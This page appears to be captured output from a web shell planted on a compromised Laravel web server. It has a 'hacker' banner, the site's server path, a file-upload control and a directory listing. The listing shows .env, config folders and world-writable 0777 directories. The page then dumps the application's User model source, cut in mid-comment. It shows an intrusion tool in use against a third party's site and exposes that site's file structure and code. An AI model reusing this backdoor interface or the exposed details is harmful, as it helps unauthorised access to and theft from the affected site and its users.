I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
*/ protected $guarded = ["id"]; /** * The attributes that should be hidden for serialization. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; /** * The attributes that should be cast. * * @var array */ protected $casts = [ 'firstname' => 'string', 'lastname' => 'string', 'username' => 'string', 'email' => 'string', 'mobile_code' => 'string', 'mobile' => 'string', 'full_mobile' => 'string', 'password' => 'string', 'refferal_user_id' => 'integer', 'image' => 'string', 'status' => 'integer', 'email_verified_at' => 'datetime', 'address' => 'object', 'email_verified' => 'integer', 'sms_verified' => 'integer', 'kyc_verified' => 'integer', 'ver_code' => 'integer', 'ver_code_send_at' => 'datetime', 'two_factor_verified' => 'integer', 'device_id' => 'string', 'social_type' => 'string', 'remember_token' => 'string', 'deleted_at' => 'datetime', 'created_at' => 'datetime', 'updated_at' => 'datetime', ]; public function scopeEmailUnverified($query) { return $query->where('email_verified', false); } public function scopeEmailVerified($query) { return $query->where("email_verified",true); } public function scopeKycVerified($query) { return $query->where("kyc_verified",GlobalConst::VERIFIED); } public function scopeKycUnverified($query) { return $query->whereNot('kyc_verified',GlobalConst::VERIFIED); } public function scopeActive($query) { return $query->where('status', true); } public function scopeBanned($query) { return $query->where('status', false); } public function kyc() { return $this->hasOne(UserKycData::class); } public function getFullnameAttribute() { return $this->firstname . ' ' . $this->lastname; } public function wallets() { return $this->hasMany(UserWallet::class); } public function coins() { return $this->hasMany(UserCoin::class); } public function getUserImageAttribute() { $image = $this->image; if($image == null) { return files_asset_path('profile-default'); }else if(filter_var($image, FILTER_VALIDATE_URL)) { return $image; }else { return files_asset_path("user-profile") . "/" . $image; } } public function passwordResets() { return $this->hasMany(UserPasswordReset::class,"user_id"); } public function scopeGetSocial($query,$credentials) { return $query->where("email",$credentials); } public function getStringStatusAttribute() { $status = $this->status; $data = [ 'class' => "", 'value' => "", ]; if($status == GlobalConst::ACTIVE) { $data = [ 'class' => "badge badge--success", 'value' => __("Active"), ]; }else if($status == GlobalConst::BANNED) { $data = [ 'class' => "badge badge--danger", 'value' => __("Banned"), ]; } return (object) $data; } public function getStringEmailVerifiedStatusAttribute() { $email_verified = $this->email_verified; $data = [ 'class' => "", 'value' => "", ]; if($email_verified == GlobalConst::ACTIVE) { $data = [ 'class' => "badge badge--success", 'value' => __("Verified"), ]; }else if($email_verified == GlobalConst::BANNED) { $data = [ 'class' => "badge badge--danger", 'value' => __("Unverified"), ]; } return (object) $data; } public function getKycStringStatusAttribute() { $status = $this->kyc_verified; $data = [ 'class' => "", 'value' => "", ]; if($status == GlobalConst::APPROVED) { $data = [ 'class' => "badge badge--success", 'value' => "Verified", ]; }else if($status == GlobalConst::PENDING) { $data = [ 'class' => "badge badge--warning", 'value' => "Pending", ]; }else if($status == GlobalConst::REJECTED) { $data = [ 'class' => "badge badge--danger", 'value' => "Rejected", ]; }else { $data = [ 'class' => "badge badge--danger", 'value' => "Unverified", ]; } return (object) $data; } public function loginLogs(){ return $this->hasMany(UserLoginLog::class); } public function getLastLoginAttribute() { if($this->loginLogs()->count() > 0) { return $this->loginLogs()->get()->last()->created_at->format("H:i A, d M Y"); } return "N/A"; } public function scopeSearch($query,$data) { return $query->where(function($q) use ($data) { $q->where("username","like","%".$data."%"); })->orWhere("email","like","%".$data."%")->orWhere("full_mobile","like","%".$data."%"); } public function modelGuardName() { return "web"; } }